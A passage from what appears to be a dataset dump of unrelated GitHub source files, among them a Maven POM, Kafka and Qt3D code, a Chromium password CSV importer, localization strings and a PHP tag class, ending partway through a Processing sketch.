text
stringlengths 2
100k
| meta
dict |
---|---|
<?xml version="1.0" encoding="UTF-8" ?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.sculptorgenerator</groupId>
<artifactId>sculptor-examples</artifactId>
<version>3.2.0-SNAPSHOT</version>
</parent>
<groupId>org.sculptorgenerator.examples</groupId>
<artifactId>DDDSample</artifactId>
<name>Sculptor :: Examples :: DDD Sample</name>
<build>
<plugins>
<plugin>
<groupId>org.sculptorgenerator</groupId>
<artifactId>sculptor-maven-plugin</artifactId>
<version>${project.version}</version>
<configuration>
<verbose>false</verbose>
</configuration>
<executions>
<execution>
<id>cleanup</id>
<goals>
<goal>clean</goal>
</goals>
</execution>
<execution>
<id>code-generation</id>
<goals>
<goal>generate</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<executions>
<execution>
<id>${project.artifactId}-client</id>
<goals>
<goal>jar</goal>
</goals>
<phase>package</phase>
<configuration>
<classifier>client</classifier>
<includes>
<include>**/serviceapi/*.class</include>
<include>**/domain/*.class</include>
<include>**/exception/*.class</include>
<include>**/*.btdesign</include>
<include>**/sculptor-generator.properties</include>
</includes>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.sculptorgenerator</groupId>
<artifactId>sculptor-framework-main</artifactId>
<classifier>without-ejb</classifier>
<version>${project.version}</version>
</dependency>
<dependency>
<groupId>org.sculptorgenerator</groupId>
<artifactId>sculptor-framework-test</artifactId>
<version>${project.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-validator</artifactId>
<!-- Add scope provided when deployed in jboss -->
<!-- <scope>provided</scope> -->
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<!-- Add scope provided when deployed in jboss -->
<!-- <scope>provided</scope> -->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<!-- Add scope provided when deployed in jboss -->
<!-- <scope>provided</scope> -->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>log4j-over-slf4j</artifactId>
<!-- Add scope provided when deployed in jboss -->
<!-- <scope>provided</scope> -->
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<!-- Add scope provided when deployed in jboss -->
<!-- <scope>provided</scope> -->
</dependency>
<!-- Remove dependency to javax.transaction when running in a transaction
supporting container (jboss etc) -->
<dependency>
<groupId>org.jboss.spec.javax.transaction</groupId>
<artifactId>jboss-transaction-api_1.1_spec</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-orm</artifactId>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
</dependency>
<dependency>
<groupId>commons-pool</groupId>
<artifactId>commons-pool</artifactId>
</dependency>
<dependency>
<groupId>joda-time</groupId>
<artifactId>joda-time</artifactId>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjrt</artifactId>
</dependency>
<dependency>
<groupId>org.dbunit</groupId>
<artifactId>dbunit</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<!-- Add scope test when running with a persistent database (mysql etc) -->
<!-- Add scope test when deployed in jboss -->
<!-- <scope>test</scope> -->
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<!-- Add scope test when running with a persistent database (mysql etc) -->
<!-- Add scope test when deployed in jboss -->
<!-- <scope>test</scope> -->
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.1</version>
<scope>test</scope>
</dependency>
</dependencies>
<!-- Profiles -->
<profiles>
<!-- HIBERNATE -->
<profile>
<id>hibernate</id>
<activation>
<activeByDefault>true</activeByDefault>
<property>
<name>jpa.provider</name>
<value>hibernate</value>
</property>
</activation>
<build>
<plugins>
<!-- <plugin> -->
<!-- <groupId>org.codehaus.mojo</groupId> -->
<!-- <artifactId>hibernate3-maven-plugin</artifactId> -->
<!-- <version>2.2</version> -->
<!-- <executions> -->
<!-- <execution> -->
<!-- <phase>process-classes</phase> -->
<!-- <goals> -->
<!-- <goal>hbm2ddl</goal> -->
<!-- </goals> -->
<!-- </execution> -->
<!-- </executions> -->
<!-- <configuration> -->
<!-- <components> -->
<!-- <component> -->
<!-- <name>hbm2ddl</name> -->
<!-- <implementation>jpaconfiguration</implementation> -->
<!-- <outputDirectory>/</outputDirectory> -->
<!-- </component> -->
<!-- </components> -->
<!-- <componentProperties> -->
<!-- <outputfilename>/src/generated/resources/dbschema/ddl.sql</outputfilename> -->
<!-- <drop>true</drop> -->
<!-- <create>true</create> -->
<!-- <update>false</update> -->
<!-- <export>false</export> -->
<!-- <format>true</format> -->
<!-- </componentProperties> -->
<!-- </configuration> -->
<!-- <dependencies> -->
<!-- <dependency> -->
<!-- <groupId>org.hibernate</groupId> -->
<!-- <artifactId>hibernate-core</artifactId> -->
<!-- <version>${hibernate.version}</version> -->
<!-- </dependency> -->
<!-- <dependency> -->
<!-- <groupId>org.hibernate</groupId> -->
<!-- <artifactId>hibernate-entitymanager</artifactId> -->
<!-- <version>${hibernate.version}</version> -->
<!-- </dependency> -->
<!-- <dependency> -->
<!-- <groupId>org.hibernate</groupId> -->
<!-- <artifactId>hibernate-validator</artifactId> -->
<!-- <version>${hibernate.validator.version}</version> -->
<!-- </dependency> -->
<!-- </dependencies> -->
<!-- </plugin> -->
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-entitymanager</artifactId>
<version>${hibernate-version}</version>
<!-- Add scope provided when deployed in jboss -->
<!-- <scope>provided</scope> -->
</dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-jcache</artifactId>
</dependency>
<dependency>
<groupId>org.ehcache</groupId>
<artifactId>ehcache</artifactId>
</dependency>
<dependency>
<groupId>org.jadira.usertype</groupId>
<artifactId>usertype.core</artifactId>
<version>6.0.1.GA</version>
<exclusions>
<exclusion>
<groupId>org.joda</groupId>
<artifactId>joda-money</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</profile>
<!-- DATANUCLEUS -->
<profile>
<id>datanucleus</id>
<activation>
<property>
<name>jpa.provider</name>
<value>datanucleus</value>
</property>
</activation>
<properties>
<datanucleus-version>3.2.4</datanucleus-version>
<datanucleus-rdbms-version>3.2.3</datanucleus-rdbms-version>
<datanucleus-plugin-version>3.1.3</datanucleus-plugin-version>
<datanucleus-enhancer-version>3.1.1</datanucleus-enhancer-version>
<datanucleus-jpa-version>3.2.3</datanucleus-jpa-version>
<datanucleus-jodatime-version>3.2.1</datanucleus-jodatime-version>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.datanucleus</groupId>
<artifactId>maven-datanucleus-plugin</artifactId>
<version>${datanucleus-plugin.version}</version>
<configuration>
<metadataIncludes>**/domain/*.class</metadataIncludes>
<metadataExcludes>**/domain/*Propert*.class,**/domain/*Repository.class</metadataExcludes>
<api>JPA</api>
<verbose>false</verbose>
<ddlFile>${basedir}/src/test/generated/resources/dbunit/ddl.sql</ddlFile>
<completeDdl>true</completeDdl>
</configuration>
<dependencies>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-core</artifactId>
<version>${datanucleus-version}</version>
</dependency>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-enhancer</artifactId>
<version>${datanucleus-enhancer-version}</version>
</dependency>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-rdbms</artifactId>
<version>${datanucleus-rdbms-version}</version>
</dependency>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-api-jpa</artifactId>
<version>${datanucleus-jpa-version}</version>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>${hsqldb-version}</version>
</dependency>
</dependencies>
<executions>
<execution>
<id>enhance</id>
<phase>process-classes</phase>
<goals>
<goal>enhance</goal>
</goals>
</execution>
<execution>
<id>test-schema-create</id>
<phase>process-test-classes</phase>
<goals>
<goal>schema-create</goal>
</goals>
<configuration>
<props>${basedir}/src/test/generated/resources/datanucleus-test.properties</props>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-core</artifactId>
<version>${datanucleus-version}</version>
</dependency>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-api-jpa</artifactId>
<version>${datanucleus-jpa-version}</version>
</dependency>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-rdbms</artifactId>
<version>${datanucleus-rdbms-version}</version>
</dependency>
<dependency>
<groupId>org.datanucleus</groupId>
<artifactId>datanucleus-jodatime</artifactId>
<version>${datanucleus-jodatime-version}</version>
</dependency>
<dependency>
<groupId>javax.jdo</groupId>
<artifactId>jdo-api</artifactId>
<version>3.0.1</version>
</dependency>
<dependency>
<groupId>org.apache.geronimo.specs</groupId>
<artifactId>geronimo-jpa_2.0_spec</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
</profile>
<!-- ECLIPSELINK -->
<profile>
<id>eclipselink</id>
<activation>
<property>
<name>jpa.provider</name>
<value>eclipselink</value>
</property>
</activation>
<properties>
<eclipselink-version>2.5.0</eclipselink-version>
<eclipselink-api-version>2.1.0</eclipselink-api-version>
</properties>
<build>
<plugins>
<plugin>
<artifactId>eclipselink-staticweave-maven-plugin</artifactId>
<groupId>au.com.alderaan</groupId>
<version>1.0.4</version>
<executions>
<execution>
<goals>
<goal>weave</goal>
</goals>
<phase>process-classes</phase>
<configuration>
<logLevel>ALL</logLevel>
<includeProjectClasspath>true</includeProjectClasspath>
</configuration>
</execution>
</executions>
<dependencies>
<dependency>
<groupId>org.eclipse.persistence</groupId>
<artifactId>eclipselink</artifactId>
<version>${eclipselink-version}</version>
</dependency>
</dependencies>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.eclipse.persistence</groupId>
<artifactId>javax.persistence</artifactId>
<version>${eclipselink-api-version}</version>
</dependency>
<dependency>
<groupId>org.eclipse.persistence</groupId>
<artifactId>eclipselink</artifactId>
<version>${eclipselink-version}</version>
</dependency>
</dependencies>
</profile>
<!-- OPENJPA -->
<profile>
<id>openjpa</id>
<activation>
<property>
<name>jpa.provider</name>
<value>openjpa</value>
</property>
</activation>
<properties>
<openjpa-version>2.2.2</openjpa-version>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.openjpa</groupId>
<artifactId>openjpa-maven-plugin</artifactId>
<version>${openjpa-version}</version>
<configuration>
<includes>**/domain/*.class</includes>
<excludes>**/domain/*Propert*.class,**/domain/*Repository.class</excludes>
</configuration>
<executions>
<execution>
<id>enhancer</id>
<phase>process-classes</phase>
<goals>
<goal>enhance</goal>
</goals>
</execution>
</executions>
<dependencies>
<dependency>
<groupId>org.apache.openjpa</groupId>
<artifactId>openjpa</artifactId>
<version>${openjpa-version}</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>${logback-version}</version>
</dependency>
</dependencies>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>org.apache.openjpa</groupId>
<artifactId>openjpa</artifactId>
<version>${openjpa-version}</version>
</dependency>
</dependencies>
</profile>
</profiles>
</project>
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2010 LinkedIn
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package kafka.producer.async
import kafka.utils.SystemTime
import java.util.concurrent.{TimeUnit, CountDownLatch, BlockingQueue}
import org.apache.log4j.Logger
import collection.mutable.ListBuffer
import kafka.serializer.Encoder
import kafka.producer.SyncProducer
private[async] class ProducerSendThread[T](val threadName: String,
val queue: BlockingQueue[QueueItem[T]],
val serializer: Encoder[T],
val underlyingProducer: SyncProducer,
val handler: EventHandler[T],
val cbkHandler: CallbackHandler[T],
val queueTime: Long,
val batchSize: Int,
val shutdownCommand: Any) extends Thread(threadName) {
private val logger = Logger.getLogger(classOf[ProducerSendThread[T]])
private val shutdownLatch = new CountDownLatch(1)
override def run {
try {
val remainingEvents = processEvents
if(logger.isDebugEnabled) logger.debug("Remaining events = " + remainingEvents.size)
// handle remaining events
if(remainingEvents.size > 0) {
if(logger.isDebugEnabled)
logger.debug("Dispatching last batch of %d events to the event handler".format(remainingEvents.size))
tryToHandle(remainingEvents)
}
}catch {
case e: Exception => logger.error("Error in sending events: ", e)
}finally {
shutdownLatch.countDown
}
}
def awaitShutdown = shutdownLatch.await
def shutdown = {
handler.close
logger.info("Shutdown thread complete")
}
private def processEvents(): Seq[QueueItem[T]] = {
var lastSend = SystemTime.milliseconds
var events = new ListBuffer[QueueItem[T]]
var full: Boolean = false
// drain the queue until you get a shutdown command
Stream.continually(queue.poll(scala.math.max(0, queueTime - (lastSend - SystemTime.milliseconds)), TimeUnit.MILLISECONDS))
.takeWhile(item => if(item != null) item.getData != shutdownCommand else true).foreach {
currentQueueItem =>
val elapsed = (SystemTime.milliseconds - lastSend)
// check if the queue time is reached. This happens when the poll method above returns after a timeout and
// returns a null object
val expired = currentQueueItem == null
if(currentQueueItem != null) {
// handle the dequeued current item
if(cbkHandler != null)
events = events ++ cbkHandler.afterDequeuingExistingData(currentQueueItem)
else
events += currentQueueItem
// check if the batch size is reached
full = events.size >= batchSize
}
if(full || expired) {
if(logger.isDebugEnabled) {
if(expired) logger.debug(elapsed + " ms elapsed. Queue time reached. Sending..")
if(full) logger.debug("Batch full. Sending..")
}
// if either queue time has reached or batch size has reached, dispatch to event handler
tryToHandle(events)
lastSend = SystemTime.milliseconds
events = new ListBuffer[QueueItem[T]]
}
}
if(cbkHandler != null) {
logger.info("Invoking the callback handler before handling the last batch of %d events".format(events.size))
val addedEvents = cbkHandler.lastBatchBeforeClose
logEvents("last batch before close", addedEvents)
events = events ++ addedEvents
}
events
}
def tryToHandle(events: Seq[QueueItem[T]]) {
try {
if(logger.isDebugEnabled) logger.debug("Handling " + events.size + " events")
handler.handle(events, underlyingProducer, serializer)
}catch {
case e: Exception => logger.error("Error in handling batch of " + events.size + " events", e)
}
}
private def logEvents(tag: String, events: Iterable[QueueItem[T]]) {
if(logger.isTraceEnabled) {
logger.trace("events for " + tag + ":")
for (event <- events)
logger.trace(event.getData.toString)
}
}
}
|
{
"pile_set_name": "Github"
}
|
// <copyright>
// Copyright by the Spark Development Network
//
// Licensed under the Rock Community License (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.rockrms.com/license
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// </copyright>
//
using System.Web.UI;
namespace Rock.Web.UI.Controls
{
/// <summary>
///
/// </summary>
[ToolboxData( "<{0}:EnumField runat=server></{0}:EnumField>" )]
public class EnumField : RockBoundField
{
/// <summary>
/// Formats the specified field value for a cell in the <see cref="T:System.Web.UI.WebControls.BoundField" /> object.
/// </summary>
/// <param name="dataValue">The field value to format.</param>
/// <param name="encode">true to encode the value; otherwise, false.</param>
/// <returns>
/// The field value converted to the format specified by <see cref="P:System.Web.UI.WebControls.BoundField.DataFormatString" />.
/// </returns>
protected override string FormatDataValue( object dataValue, bool encode )
{
if ( dataValue is System.Enum )
{
dataValue = ( (System.Enum)dataValue ).ConvertToString();
}
return base.FormatDataValue( dataValue, encode );
}
}
}
|
{
"pile_set_name": "Github"
}
|
[pseudo_content_with_layers.html]
expected: FAIL
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
<string name="bookmenu_open">Öffne auf Seite ...</string>
<string name="bookmenu_settings">"Bucheinstellungen"</string>
<string name="bookmenu_openbookshelf">Bücherregal zeigen</string>
<string name="bookmenu_openbookfolder">"Zeige Speicherort"</string>
<string name="bookmenu_recentgroup">"Verlauf löschen"</string>
<string name="bookmenu_removefromrecent">"Aus Verlauf ausschließen"</string>
<string name="bookmenu_cleardata">"Cache leeren"</string>
<string name="bookmenu_deletesettings">Bucheinstellungen entfernen</string>
<string name="bookmenu_filegroup">"Dateioperationen"</string>
<string name="bookmenu_copy">"Kopieren"</string>
<string name="bookmenu_rename">"Umbenennen"</string>
<string name="bookmenu_move">"Verschieben"</string>
<string name="bookmenu_delete">"Löschen"</string>
</resources>
|
{
"pile_set_name": "Github"
}
|
--------------------------------
-- @module TextBMFont
-- @extend Widget
--------------------------------
-- @function [parent=#TextBMFont] setFntFile
-- @param self
-- @param #string str
--------------------------------
-- @function [parent=#TextBMFont] getStringLength
-- @param self
-- @return long#long ret (return value: long)
--------------------------------
-- @function [parent=#TextBMFont] setString
-- @param self
-- @param #string str
--------------------------------
-- @function [parent=#TextBMFont] getString
-- @param self
-- @return string#string ret (return value: string)
--------------------------------
-- overload function: create(string, string)
--
-- overload function: create()
--
-- @function [parent=#TextBMFont] create
-- @param self
-- @param #string str
-- @param #string str
-- @return TextBMFont#TextBMFont ret (retunr value: ccui.TextBMFont)
--------------------------------
-- @function [parent=#TextBMFont] createInstance
-- @param self
-- @return Ref#Ref ret (return value: cc.Ref)
--------------------------------
-- @function [parent=#TextBMFont] getVirtualRenderer
-- @param self
-- @return Node#Node ret (return value: cc.Node)
--------------------------------
-- @function [parent=#TextBMFont] getDescription
-- @param self
-- @return string#string ret (return value: string)
--------------------------------
-- @function [parent=#TextBMFont] getVirtualRendererSize
-- @param self
-- @return size_table#size_table ret (return value: size_table)
--------------------------------
-- @function [parent=#TextBMFont] TextBMFont
-- @param self
return nil
|
{
"pile_set_name": "Github"
}
|
/****************************************************************************
**
** Copyright (C) 2014 Klaralvdalens Datakonsult AB (KDAB).
** Contact: https://www.qt.io/licensing/
**
** This file is part of the Qt3D module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 3 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL3 included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 3 requirements
** will be met: https://www.gnu.org/licenses/lgpl-3.0.html.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 2.0 or (at your option) the GNU General
** Public license version 3 or any later version approved by the KDE Free
** Qt Foundation. The licenses are as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-2.0.html and
** https://www.gnu.org/licenses/gpl-3.0.html.
**
** $QT_END_LICENSE$
**
****************************************************************************/
#ifndef QT3DRENDER_RENDER_FRAMECLEANUPJOB_H
#define QT3DRENDER_RENDER_FRAMECLEANUPJOB_H
//
// W A R N I N G
// -------------
//
// This file is not part of the Qt API. It exists for the convenience
// of other Qt classes. This header file may change from version to
// version without notice, or even be removed.
//
// We mean it.
//
#include <Qt3DCore/qaspectjob.h>
#include <Qt3DRender/qt3drender_global.h>
#include <Qt3DRender/private/qt3drender_global_p.h>
QT_BEGIN_NAMESPACE
namespace Qt3DRender {
namespace Render {
class NodeManagers;
class Entity;
class Q_3DRENDERSHARED_PRIVATE_EXPORT FrameCleanupJob : public Qt3DCore::QAspectJob
{
public:
explicit FrameCleanupJob();
~FrameCleanupJob();
void setRoot(Entity *root);
void setManagers(NodeManagers *managers);
protected:
void run() final;
private:
NodeManagers *m_managers;
Entity *m_root;
void updateBoundingVolumesDebug(Entity *node);
};
typedef QSharedPointer<FrameCleanupJob> FrameCleanupJobPtr;
} // namespace Render
} // namespace Qt3DRender
QT_END_NAMESPACE
#endif // QT3DRENDER_RENDER_FRAMECLEANUPJOB_H
|
{
"pile_set_name": "Github"
}
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/password_manager/core/browser/import/password_csv_reader.h"
#include <set>
#include "base/stl_util.h"
#include "base/strings/string_util.h"
#include "base/strings/utf_string_conversions.h"
#include "components/autofill/core/common/password_form.h"
#include "components/password_manager/core/browser/import/csv_reader.h"
using autofill::PasswordForm;
namespace password_manager {
namespace {
// Used for sets with case insensitive comparison of string keys.
struct CaseInsensitiveComparison {
bool operator()(const std::string& lhs, const std::string& rhs) const {
return base::CompareCaseInsensitiveASCII(lhs, rhs) == -1;
}
};
// All the three following arrays need to be null-terminated.
// Recognised column names for origin URL.
const char* const url_names[] = {"url", "website", "origin", "hostname",
nullptr};
// Recognised column names for username value.
const char* const username_names[] = {"username", "user", "login", "account",
nullptr};
// Recognised column names for password value.
const char* const password_names[] = {"password", nullptr};
// If |real_names| contain a string equal to some of the |possible_names|,
// returns an arbitrary such member of |possible_names|. Otherwise returns null.
// |possible_names| is expected to be a null-terminated array.
std::string GetIntersectingName(
const std::set<std::string, CaseInsensitiveComparison>& real_names,
const char* const possible_names[]) {
for (; *possible_names; ++possible_names) {
auto match = real_names.find(*possible_names);
if (match != real_names.end())
return *match;
}
return std::string();
}
} // namespace
PasswordCSVReader::PasswordCSVReader() = default;
PasswordCSVReader::~PasswordCSVReader() = default;
PasswordImporter::Result PasswordCSVReader::DeserializePasswords(
const std::string& input,
std::vector<PasswordForm>* passwords) {
std::vector<std::string> header;
std::vector<std::map<std::string, std::string>> records;
if (!ReadCSV(input, &header, &records))
return PasswordImporter::SYNTAX_ERROR;
// Put the names into a set with case insensitive comparison.
std::set<std::string, CaseInsensitiveComparison> lowercase_column_names;
for (const auto& name : header) {
lowercase_column_names.insert(name);
}
url_field_name_ = GetIntersectingName(lowercase_column_names, url_names);
username_field_name_ =
GetIntersectingName(lowercase_column_names, username_names);
password_field_name_ =
GetIntersectingName(lowercase_column_names, password_names);
if (url_field_name_.empty() || username_field_name_.empty() ||
password_field_name_.empty()) {
return PasswordImporter::SEMANTIC_ERROR;
}
passwords->clear();
passwords->reserve(records.size());
for (const auto& record : records) {
PasswordForm form;
if (RecordToPasswordForm(record, &form))
passwords->push_back(form);
}
return PasswordImporter::SUCCESS;
}
bool PasswordCSVReader::RecordToPasswordForm(
const std::map<std::string, std::string>& record,
PasswordForm* form) {
GURL origin;
auto origin_in_record = record.find(url_field_name_);
if (origin_in_record == record.end())
return false;
origin = GURL(origin_in_record->second);
base::string16 username_value;
auto username_in_record = record.find(username_field_name_);
if (username_in_record == record.end())
return false;
username_value = base::UTF8ToUTF16(username_in_record->second);
base::string16 password_value;
auto password_in_record = record.find(password_field_name_);
if (password_in_record == record.end())
return false;
password_value = base::UTF8ToUTF16(password_in_record->second);
form->origin.Swap(&origin);
form->signon_realm = form->origin.GetOrigin().spec();
form->username_value.swap(username_value);
form->password_value.swap(password_value);
return true;
}
} // namespace password_manager
|
{
"pile_set_name": "Github"
}
|
{
"requestID": "fbe9ac66-a7ed-4b09-b1dc-4d3c791d8953",
"clientContextID": "62d29101-0c9f-400d-af2b-9bd44a557a7c",
"errors": [
{
"code": 4050,
"msg": "temporary error"
}
],
"status": "errors",
"metrics": {
"elapsedTime": "837.425µs",
"executionTime": "732.345µs",
"resultCount": 0,
"resultSize": 0,
"errorCount": 1
}
}
|
{
"pile_set_name": "Github"
}
|
"%1$@ %2$@ has been downloaded and is ready to use! This is an important update; would you like to install it and relaunch %1$@ now?" = "%1$@ %2$@ foi transferido e está pronto para uso! Esta é uma atualização importante; deseja instalar e reabrir o %1$@ agora?";
"%1$@ %2$@ has been downloaded and is ready to use! Would you like to install it and relaunch %1$@ now?" = "%1$@ %2$@ foi transferido e está pronto para uso! Deseja instalar e reabrir o %1$@ agora?";
"%1$@ can't be updated, because it was opened from a read-only or a temporary location. Use Finder to copy %1$@ to the Applications folder, relaunch it from there, and try again." = "%1$@ não pode ser atualizado porque foi aberto de um volume somente leitura ou local temporário. Use o Finder para copiar %1$@ para a pasta de Aplicativos, reabra-o e tente novamente.";
"%@ %@ is currently the newest version available." = "%1$@ %2$@ é a versão mais recente disponível.";
/* Description text for SUUpdateAlert when the update is downloadable. */
"%@ %@ is now available--you have %@. Would you like to download it now?" = "%1$@ %2$@ está disponível – sua versão é %3$@. Deseja transferi-lo agora?";
/* Description text for SUUpdateAlert when the update informational with no download. */
"%@ %@ is now available--you have %@. Would you like to learn more about this update on the web?" = "%1$@ %2$@ está disponível – sua versão é %3$@. Deseja saber mais sobre esta atualização na web?";
"%@ downloaded" = "%@ transferidos";
"%@ of %@" = "%1$@ de %2$@";
"A new version of %@ is available!" = "Uma nova versão do %@ está disponível!";
"A new version of %@ is ready to install!" = "Uma nova versão do %@ está pronta para ser instalada!";
"An error occurred in retrieving update information. Please try again later." = "Ocorreu um erro ao obter informações da atualização. Tente novamente mais tarde.";
"An error occurred while downloading the update. Please try again later." = "Ocorreu um erro ao transferir a atualização. Tente novamente mais tarde.";
"An error occurred while extracting the archive. Please try again later." = "Ocorreu um erro ao extrair o arquivo comprimido. Tente novamente mais tarde.";
"An error occurred while installing the update. Please try again later." = "Ocorreu um erro ao instalar a atualização. Tente novamente mais tarde.";
"An error occurred while parsing the update feed." = "Ocorreu um erro ao analisar o feed de atualização.";
"An error occurred while relaunching %1$@, but the new version will be available next time you run %1$@." = "Ocorreu um erro ao reabrir o %1$@. A nova versão estará disponível da próxima vez que você abrir o %1$@.";
"An important update to %@ is ready to install" = "Uma atualização importante do %@ está pronta para ser instalada!";
/* the unit for bytes */
"B" = "B";
"Cancel" = "Cancelar";
"Cancel Update" = "Cancelar Atualização";
"Checking for updates..." = "Buscando atualizações…";
/* Take care not to overflow the status window. */
"Downloading update..." = "Transferindo atualização…";
/* Take care not to overflow the status window. */
"Extracting update..." = "Extraindo atualização…";
/* the unit for gigabytes */
"GB" = "GB";
"Install and Relaunch" = "Instalar e Reabrir";
/* Take care not to overflow the status window. */
"Installing update..." = "Instalando atualização…";
/* the unit for kilobytes */
"KB" = "KB";
/* Alternative name for "Install" button if we have a paid update or other update
without a download but with a URL. */
"Learn More..." = "Saber Mais…";
/* the unit for megabytes */
"MB" = "MB";
/* OK button. */
"OK" = "OK";
/* Status message on progress window once download has finished. */
"Ready to Install" = "Pronto para Instalar";
/* Message that is optionally shown at startup to allow users to turn on/off update checks. */
"Should %1$@ automatically check for updates? You can always check for updates manually from the %1$@ menu." = "Deseja que o %1$@ busque atualizações automaticamente? Você pode buscar atualizações manualmente, através do menu %1$@.";
"The update is improperly signed." = "A atualização está assinada incorretamente.";
"Update Error!" = "Erro de atualização!";
"Updating %@" = "Atualizando o %@";
/* 'Error' message when the user checks for updates but is already current or the feed doesn't contain any updates. (not necessarily shown in UI) */
"You already have the newest version of %@." = "Você já possui a versão mais recente do %@.";
/* Status message shown when the user checks for updates but is already current or the feed doesn't contain any updates. */
"You're up-to-date!" = "O app está atualizado!";
|
{
"pile_set_name": "Github"
}
|
Connection: close
Content-Length: 0
Date: Fri, 06 Oct 2017 09:57:56 GMT
Server: Microsoft-IIS/8.5
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* This file is part of PHPExifTool.
*
* (c) 2012 Romain Neutron <[email protected]>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace PHPExiftool\Driver\Tag\Qualcomm;
use JMS\Serializer\Annotation\ExclusionPolicy;
use PHPExiftool\Driver\AbstractTag;
/**
* @ExclusionPolicy("all")
*/
class R2TL84RedStbl14 extends AbstractTag
{
protected $Id = 'r2_tl84_red_stbl[14]';
protected $Name = 'R2TL84RedStbl14';
protected $FullName = 'Qualcomm::Main';
protected $GroupName = 'Qualcomm';
protected $g0 = 'MakerNotes';
protected $g1 = 'Qualcomm';
protected $g2 = 'Camera';
protected $Type = '?';
protected $Writable = false;
protected $Description = 'R2 TL84 Red Stbl 14';
protected $flag_Permanent = true;
}
|
{
"pile_set_name": "Github"
}
|
int cant = 2;
float th, tv;
void setup() {
size(400, 400);
th = width/cant;
tv = height/cant;
for (int j = 0; j < cant; j++) {
